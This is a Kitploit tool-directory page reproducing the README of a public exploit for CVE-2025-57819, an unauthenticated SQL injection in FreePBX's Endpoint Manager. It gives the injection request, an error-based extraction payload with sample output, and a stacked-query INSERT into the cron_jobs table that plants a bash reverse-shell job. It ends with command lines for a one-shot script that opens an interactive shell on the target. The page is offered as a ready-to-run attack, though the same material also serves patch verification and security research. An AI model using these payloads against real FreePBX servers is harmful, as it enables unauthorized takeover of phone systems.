Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-57819-poc — CVE-2025-57819 -> rce | Kitploit
Tools/GitHubGitHub/b4sh2/cve-2025-57819-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubb4sh2/cve-2025-57819-poc

CVE-2025-57819-poc

CVE-2025-57819 -> rce

View Repository
72463 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-57819 — FreePBX Unauthenticated SQLi → RCE

One-shot exploit for the FreePBX Endpoint Manager unauthenticated SQL injection (CVE-2025-57819), chained into remote code execution via the FreePBX cron_jobs table.

For authorized security testing / CTF use only.


Vulnerability

The endpoint module's ajax handler concatenates the brand parameter straight into a SQL query, and the module path FreePBX\modules\endpoint\ajax bypasses the ajax Referrer/authentication check. This gives an unauthenticated error-based SQL injection (via EXTRACTVALUE), with stacked-query writes enabled.

Injection point:

root@kitploit:~
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
    &command=model&template=x&model=model&brand=<INJECTION>

Proof (error-based readout):

root@kitploit:~
brand=x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -
→ {"error":{"message":"... XPATH syntax error: '~freepbxuser@localhost~' ..."}}

Affected: FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3.

Download Tool

RCE technique

The injection is read-only on its own, but stacked queries allow writes. FreePBX runs jobs from the cron_jobs table via its cron manager, so inserting a row yields arbitrary command execution (within ~60s, schedule * * * * *):

root@kitploit:~
INSERT INTO cron_jobs
  (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
VALUES ('sysadmin','<job>','<os-command>',NULL,'* * * * *',30,1,1);

The injected command is a bash reverse shell. The cron row is removed automatically after the first callback to avoid repeated connections.

Requirements

root@kitploit:~
pip install requests urllib3

Python 3. The built-in IP detection (-i/--interface) is Linux-only; use --ip on other platforms.

Usage

root@kitploit:~
# Defaults: interface tun0, port 4444 — starts listener, exploits, drops a shell
python3 exploit.py http://{target}

# Pick a different interface / port
python3 exploit.py http://{target} -i eth0 -p 9001

# Set the listener IP explicitly
python3 exploit.py http://{target} --ip 10.10.15.52

python3 exploit.py --help

The script:

  1. Confirms the SQLi (leaks the DB version).
  2. Starts a TCP listener on the chosen port.
  3. Injects the reverse-shell cron job and verifies the row landed.
  4. Waits ~70s for the callback, then drops you into an interactive shell (with an automatic PTY upgrade attempt).
  5. Cleans up the injected cron row.

References

  • Horizon3.ai — Updated FreePBX CVEs: Auth Bypass & RCE
  • watchTowr Labs — FreePBX CVE-2025-57819
  • watchTowr PoC (GitHub)
  • NVD — CVE-2025-57819
  • FreePBX advisory GHSA-m42g-xg4c-5f3h